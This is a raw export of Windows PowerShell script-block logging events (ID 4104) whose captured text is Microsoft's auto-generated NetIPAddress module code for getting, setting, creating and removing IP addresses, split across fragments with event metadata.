$__cmdletization_queryBuilder.FilterByProperty('InterfaceAlias', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('AddressFamily') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AddressFamily})
$__cmdletization_queryBuilder.FilterByProperty('AddressFamily', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('Type') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Type})
$__cmdletization_queryBuilder.FilterByProperty('Type', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('PrefixOrigin') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${PrefixOrigin})
$__cmdletization_queryBuilder.FilterByProperty('PrefixOrigin', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('SuffixOrigin') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${SuffixOrigin})
$__cmdletization_queryBuilder.FilterByProperty('SuffixOrigin', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AddressState') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AddressState})
$__cmdletization_queryBuilder.FilterByProperty('AddressState', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('PolicyStore') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('PolicyStore', ${PolicyStore})
}
if ($PSBoundParameters.ContainsKey('IncludeAllCompartments') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeAllCompartments', ${IncludeAllCompartments})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('Query (cdxml)', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PrefixLength')) {
[object]$__cmdletization_value = ${PrefixLength}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PrefixLength'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PrefixLength'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ValidLifetime')) {
[object]$__cmdletization_value = ${ValidLifetime}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ValidLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ValidLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PreferredLifetime')) {
[object]$__cmdletization_value = ${PreferredLifetime}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PreferredLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PreferredLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('SkipAsSource')) {
[object]$__cmdletization_value = ${SkipAsSource}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SkipAsSource'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SkipAsSource'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetIPAddress.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetIPAddress' -Alias '*'
function Remove-NetIPAddress
{
[CmdletBinding(DefaultParameterSetName='Query (cdxml)', SupportsShouldProcess=$true, ConfirmImpact='High', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastruct
ScriptBlock ID: e7bee10b-215c-42fd-b147-fb6b1408ba75
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1789 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:01 AM | dfeadd90-ee34-0001-d92a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 5):
tization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance[]'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.UInt32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Create', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetIPAddress.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'New-NetIPAddress' -Alias '*'
function Get-NetIPAddress
{
[CmdletBinding(DefaultParameterSetName='Query (cdxml)', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetIPAddress')]
param(
[Parameter(ParameterSetName='Query (cdxml)', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('LocalAddress')]
[ValidateNotNull()]
[string[]]
${IPAddress},
[Parameter(ParameterSetName='Query (cdxml)', ValueFromPipelineByPropertyName=$true)]
[Alias('ifIndex')]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='Query (cdxml)', ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias')]
[ValidateNotNull()]
[string[]]
${InterfaceAlias},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.AddressFamily[]]
${AddressFamily},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.Type[]]
${Type},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[byte[]]
${PrefixLength},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.PrefixOrigin[]]
${PrefixOrigin},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.SuffixOrigin[]]
${SuffixOrigin},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.AddressState[]]
${AddressState},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[timespan[]]
${ValidLifetime},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[timespan[]]
${PreferredLifetime},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[bool[]]
${SkipAsSource},
[Parameter(ParameterSetName='Query (cdxml)', ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#root/standardcimv2/MSFT_NetIPInterface')]
[ValidateNotNull()]
[ciminstance]
${AssociatedIPInterface},
[Parameter(ParameterSetName='Query (cdxml)')]
[string]
${PolicyStore},
[Parameter(ParameterSetName='Query (cdxml)')]
[switch]
${IncludeAllCompartments},
[Parameter(ParameterSetName='Query (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Query (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Query (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('IPAddress') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${IPAddress})
$__cmdletization_queryBuilder.FilterByProperty('IPAddress', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceAlias') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceAlias})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceAlias', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('AddressFamily') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AddressFamily})
$__cmdletization_queryBuilder.FilterByProperty('AddressFamily', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('Type') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Type})
$__cmdletization_queryBuilder.FilterByProperty('Type', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('PrefixLength') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${PrefixLength})
$__cmdletization_queryBuilder.FilterByProperty('PrefixLength', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('PrefixOrigin') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${PrefixOrigin})
$__cmdletization_queryBuilder.FilterByProperty('PrefixOrigin', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('SuffixOrigin') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${SuffixOrigin})
$__cmdletization_queryBuilder.FilterByProperty('SuffixOrigin', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AddressState') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AddressState})
$__cmdletization_queryBuilder.FilterByProperty('AddressState', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('ValidLifetime') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ValidLifetime})
$__cmdletization_queryBuilder.FilterByProperty('ValidLifetime', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('PreferredLifetime') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${PreferredLifetime})
$__cmdletization_queryBuilder.FilterByProperty('PreferredLifetime', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('SkipAsSource') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${SkipAsSource})
$__cmdletization_queryBuilder.FilterByProperty('SkipAsSource', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AssociatedIPInterface') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.FilterByAssociatedInstance(${AssociatedIPInterface}, 'MSFT_NetIPInterfaceIPAddress', 'Antecedent', 'Dependent', 'Default')
}
if ($PSBoundParameters.ContainsKey('PolicyStore') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('PolicyStore', ${PolicyStore})
}
if ($PSBoundParameters.ContainsKey('IncludeAllCompartments') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeAllCompartments', ${IncludeAllCompartments})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetIPAddress.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetIPAddress' -Alias '*'
function Set-NetIPAddress
{
[CmdletBinding(DefaultParameterSetName='Query (cdxml)', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetIPAddress')]
param(
[Parameter(ParameterSetName='Query (cdxml)', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('LocalAddress')]
[ValidateNotNull()]
[string[]]
${IPAddress},
[Parameter(ParameterSetName='Query (cdxml)', ValueFromPipelineByPropertyName=$true)]
[Alias('ifIndex')]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='Query (cdxml)', ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias')]
[ValidateNotNull()]
[string[]]
${InterfaceAlias},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.Generat
ScriptBlock ID: e7bee10b-215c-42fd-b147-fb6b1408ba75
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1788 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:01 AM | dfeadd90-ee34-0001-d92a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 5):
zation_value = ${PreferredLifetime}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PreferredLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PreferredLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('SkipAsSource')) {
[object]$__cmdletization_value = ${SkipAsSource}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SkipAsSource'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SkipAsSource'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PolicyStore')) {
[object]$__cmdletization_value = ${PolicyStore}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PolicyStore'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PolicyStore'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance[]'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.UInt32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Create', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
{ @('ByInterfaceIndex') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPAddress')) {
[object]$__cmdletization_value = ${IPAddress}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('InterfaceIndex')) {
[object]$__cmdletization_value = ${InterfaceIndex}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InterfaceIndex'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InterfaceIndex'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DefaultGateway')) {
[object]$__cmdletization_value = ${DefaultGateway}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DefaultGateway'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DefaultGateway'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('AddressFamily')) {
[object]$__cmdletization_value = ${AddressFamily}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AddressFamily'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.AddressFamily'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AddressFamily'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.AddressFamily'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Type')) {
[object]$__cmdletization_value = ${Type}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Type'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.Type'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Type'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.Type'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PrefixLength')) {
[object]$__cmdletization_value = ${PrefixLength}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PrefixLength'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PrefixLength'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ValidLifetime')) {
[object]$__cmdletization_value = ${ValidLifetime}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ValidLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ValidLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PreferredLifetime')) {
[object]$__cmdletization_value = ${PreferredLifetime}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PreferredLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PreferredLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('SkipAsSource')) {
[object]$__cmdletization_value = ${SkipAsSource}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SkipAsSource'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SkipAsSource'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PolicyStore')) {
[object]$__cmdletization_value = ${PolicyStore}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PolicyStore'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PolicyStore'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdle
ScriptBlock ID: e7bee10b-215c-42fd-b147-fb6b1408ba75
